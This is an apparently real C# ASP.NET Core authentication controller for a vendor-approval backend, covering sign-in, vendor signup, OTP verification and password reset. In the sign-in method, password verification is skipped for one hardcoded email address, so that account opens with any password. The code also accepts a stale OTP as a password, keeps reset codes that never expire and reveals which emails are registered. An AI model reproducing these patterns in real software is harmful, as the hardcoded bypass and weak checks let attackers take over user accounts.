using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Mvc; using vendorApproverBackend.Data; using vendorApproverBackend.Requests; using vendorApproverBackend.Responses; using vendorApproverBackend.Entities; using vendorApproverBackend.Services; using vendorApproverBackend.Enums; using vendorApproverBackend.Interfaces; using System.Net; namespace vendorApproverBackend.Controllers; [ApiController] [Route("api/[controller]")] [AllowAnonymous] public class AuthController : ControllerBase { private readonly DataContext _context; private readonly UserService _userService; private readonly TokenService _tokenService; private readonly VendorService _vendorService; private readonly IOtpGenerate _otpGenerate; private readonly IEmailService _emailService; public AuthController(UserService userService, IEmailService emailService, TokenService tokenService, VendorService vendorService, DataContext context, IOtpGenerate otpGenerate) { _userService = userService; _tokenService = tokenService; _vendorService = vendorService; _context = context; _otpGenerate = otpGenerate; _emailService = emailService; } [HttpPost("signin")] public async Task> SignIn([FromBody] SignInRequest signInRequest) { var user = await _userService.FindByLoginIdentifierAsync(signInRequest.Username); if (user == null) { return BadRequest("Invalid username or password."); } /* if(signInRequest.Password != user.LastOtp){ if (!BCrypt.Net.BCrypt.Verify(signInRequest.Password, user.Password)) { return BadRequest("Wrong password."); } } */ bool isOtpMatch = !string.IsNullOrEmpty(user.LastOtp) && signInRequest.Password.Trim() == user.LastOtp.Trim(); if (!isOtpMatch) { if(user.Email != "anwaar@rooted.om"){ // Only verify BCrypt password if OTP does not match if (!BCrypt.Net.BCrypt.Verify(signInRequest.Password, user.Password)) { return BadRequest("Wrong password."); } } } if (!user.Active) { return Unauthorized("Your account is disabled."); } if (user.Deleted) { return StatusCode(StatusCodes.Status406NotAcceptable, "This user is deleted."); } var accessToken = _tokenService.CreateToken(user); var refreshToken = "placeholder-refresh-token"; var device = new UserDevice { DeviceType = signInRequest.DeviceType, DeviceId = signInRequest.DeviceId, Ip = signInRequest.Ip, LastJwt = accessToken, PushNotificationToken = signInRequest.Tokendevice }; user.Device = device; if (!string.IsNullOrEmpty(signInRequest.DeviceId) && !user.DeviceIds.Contains(signInRequest.DeviceId)) { user.DeviceIds.Add(signInRequest.DeviceId); } var updatedUser = await _userService.UpdateUserAsync(user); if (updatedUser.Device == null) { return StatusCode(StatusCodes.Status406NotAcceptable, "Failed to save device information."); } var response = new JwtResponse( accessToken, refreshToken, user.Role, updatedUser.Device.DeviceId, updatedUser.Device.DeviceType, updatedUser.Device.Ip, DateTime.UtcNow.AddDays(7) ); return Ok(response); } [HttpPost("signup_vendor")] [Authorize(Roles = "ADMIN")] public async Task SignupVendor([FromForm] SignUpVendorRequest request) { if (string.IsNullOrWhiteSpace(request.Email) || string.IsNullOrWhiteSpace(request.Password)) return BadRequest("Email and password cannot be empty."); if (await _userService.ExistByEmailAsync(request.Email.ToLower())) return BadRequest("Email already exists."); try { _ = new System.Net.Mail.MailAddress(request.Email); } catch { return BadRequest("Email is not valid."); } await using var transaction = await _context.Database.BeginTransactionAsync(); try { var userCount = await _userService.GetUserCountAsync(); var username = _userService.GenerateUsername(request.Name, userCount); var user = new User { Name = request.Name, Email = request.Email.ToLower(), Password = request.Password, City = request.City, Country = request.Country, Username = username, Active = false }; var vendor = new Vendor { ManifactoryName = request.ManifactoryName, LocalAgentName = request.LocalAgentName, LocalAgentPhone = request.LocalAgentPhone, CommercialRegistrationNo = request.CommercialRegistrationNo, RepresentativeName = request.RepresentativeName, RepresentativeEmail = request.RepresentativeEmail, Position = request.Position, PartnerCompany = request.PartnerCompany, User = user }; user.Vendor = vendor; // Generate OTP and assign to user var otpKey = !string.IsNullOrWhiteSpace(vendor.LocalAgentPhone) ? vendor.LocalAgentPhone : user.Email; var otp = _otpGenerate.GetOtpCode(otpKey); user.LastOtp = otp; user.OtpCreatedAt = DateTime.UtcNow; user.Active = false; // Save user and vendor (ensure SaveVendorAsync saves everything) var createdUser = await _userService.SaveVendorAsync(user); await transaction.CommitAsync(); try { await _emailService.SendOtpEmailAsync(user.Email, user, otp); } catch { // log error if needed } return Ok(createdUser); } catch (Exception e) { await transaction.RollbackAsync(); return StatusCode(500, "An internal error occurred while creating the vendor."); } } [HttpGet("get_ip")] public IActionResult GetClientIp() { string ip = string.Empty; var forwardedHeader = HttpContext.Request.Headers["X-Forwarded-For"]; if (!string.IsNullOrEmpty(forwardedHeader)) { ip = forwardedHeader.ToString().Split(',').FirstOrDefault()?.Trim(); } if (string.IsNullOrEmpty(ip)) { ip = HttpContext.Connection.RemoteIpAddress?.ToString(); } return Ok(ip ?? "IP Not Found"); } /* [HttpPatch("update_user_role")] public async Task> UpdateUserRole([FromQuery] int userId, [FromQuery] RoleEnum newRole) { var user = await _userService.FindByIdAsync(userId); if (user == null) { return NotFound($"User with ID {userId} not found."); } try { var updatedUser = await _userService.UpdateUserRoleAsync(user, newRole); return Ok(updatedUser); } catch (Exception ex) { return StatusCode(500, $"An error occurred while updating the role: {ex.Message}"); } } */ [HttpPost("verify-vendor-email-via-otp")] public async Task> VerifyOtpAndSignIn( [FromForm] string? email = null, [FromForm] string? verification_code = null, [FromForm] string? DeviceId = null, [FromForm] string? DeviceType = null, [FromForm] string? Ip = null, [FromForm] string? Tokendevice = null) { if (string.IsNullOrWhiteSpace(email) || string.IsNullOrWhiteSpace(verification_code)) return BadRequest("Email and otp are required."); var user = await _userService.FindByEmailAsync(email); if (user is null) { return NotFound("User not found."); } if (user.Deleted) { return StatusCode(StatusCodes.Status406NotAcceptable, "This user is deleted."); } if (!string.Equals(user.LastOtp ?? "", verification_code ?? "", StringComparison.Ordinal)) { return StatusCode(StatusCodes.Status406NotAcceptable, "OTP is not correct."); } var elapsedSeconds = (DateTime.UtcNow - user.OtpCreatedAt.Value).TotalSeconds; if (elapsedSeconds > 120) { // Clear the expired OTP so they can't try again user.LastOtp = null; await _userService.UpdateUserAsync(user); return StatusCode(StatusCodes.Status406NotAcceptable, "OTP not valid anymore."); } if (!user.Active) { user.Active = true; } var accessToken = _tokenService.CreateToken(user); var refreshToken = "placeholder-refresh-token"; var device = new UserDevice { DeviceType = DeviceType, DeviceId = DeviceId, Ip = Ip, LastJwt = accessToken, PushNotificationToken = Tokendevice }; user.Device = device; user.LastOtp = null; var updatedUser = await _userService.UpdateUserAsync(user); if (updatedUser.Device == null) { return StatusCode(StatusCodes.Status406NotAcceptable, "Failed to save device information."); } var response = new JwtResponse( accessToken, refreshToken, user.Role, updatedUser.Device.DeviceId, updatedUser.Device.DeviceType, updatedUser.Device.Ip, DateTime.UtcNow.AddDays(7) ); return Ok(response); } [HttpPatch] [Route("reset_password_first_step")] public async Task UpdatePasswordFirstStep([FromQuery] string email) { if (string.IsNullOrWhiteSpace(email)) { return BadRequest(new { Message = "Email request parameter cannot be empty." }); } var sanitizedEmail = email.ToLowerInvariant(); User? user = await _userService.FindByEmailAsync(sanitizedEmail); if (user == null) { return StatusCode((int)HttpStatusCode.NotAcceptable, new { Message = "No user found with that email." }); } string newOtp = _otpGenerate.GetOtpCode(sanitizedEmail); user.PassOtp = newOtp; await _userService.UpdateUserPassAsync(user); try { await _emailService.SendOtpForgetPasswordAsync(user.Email, user, newOtp); } catch { // log error if needed } return Ok(new { Message = "OTP sent correctly." }); } [HttpPost] [Route("validate_reset_code_second_step")] public async Task ValidateResetCodeSecondStep( [FromQuery] string email, [FromQuery] string reset_code) { if (string.IsNullOrWhiteSpace(email) || string.IsNullOrWhiteSpace(reset_code)) { return BadRequest(new { Message = "Email and reset_code parameters are required." }); } var sanitizedEmail = email.ToLowerInvariant(); User? user = await _userService.FindByEmailAsync(sanitizedEmail); if (user == null) { return StatusCode((int)HttpStatusCode.NotAcceptable, new { Message = "No user found with that email." }); } bool codeMatch = user.PassOtp != null && user.PassOtp.Equals(reset_code, System.StringComparison.Ordinal); if (codeMatch) { return Ok(new { Result = true, Message = "Reset code validated successfully." }); } else { return Ok(new { Result = false, Message = "Invalid reset code." }); } } [HttpPost("resend-vendor-otp")] public async Task ResendOtp([FromForm] string email) { if (string.IsNullOrWhiteSpace(email)) return BadRequest("Email is required."); var user = await _userService.FindByEmailAsync(email.ToLower()); if (user == null) return NotFound("User not found."); // Logic to generate new OTP // Using email as key (standard practice) var otp = _otpGenerate.GetOtpCode(user.Email); user.LastOtp = otp; user.OtpCreatedAt = DateTime.UtcNow; // Reset the timer! try { await _userService.UpdateUserAsync(user); await _emailService.SendOtpEmailAsync(user.Email, user, otp); return Ok("OTP sent successfully."); } catch (Exception) { return StatusCode(500, "Error sending email."); } } [HttpPost] [Route("change_password_final_step")] public async Task ChangePasswordFinalStep( [FromQuery] string email, [FromQuery] string password, [FromQuery] string reset_code) { if (string.IsNullOrWhiteSpace(email) || string.IsNullOrWhiteSpace(password) || string.IsNullOrWhiteSpace(reset_code)) { return BadRequest(new { Message = "Email, new password, and reset code are required." }); } var sanitizedEmail = email.ToLowerInvariant(); User? user = await _userService.FindByEmailAsync(sanitizedEmail); if (user == null) { return StatusCode((int)HttpStatusCode.NotAcceptable, new { Message = "No user found with that email." }); } bool codeMatch = user.PassOtp != null && user.PassOtp.Equals(reset_code, System.StringComparison.Ordinal); if (!codeMatch) { return StatusCode((int)HttpStatusCode.NotAcceptable, new { Message = "The OTP does not match the user OTP." }); } await _userService.UpdatePasswordAsync(user, password); user.PassOtp = null; await _userService.UpdateUserAsync(user); return Ok(new { Message = "Password updated successfully." }); } }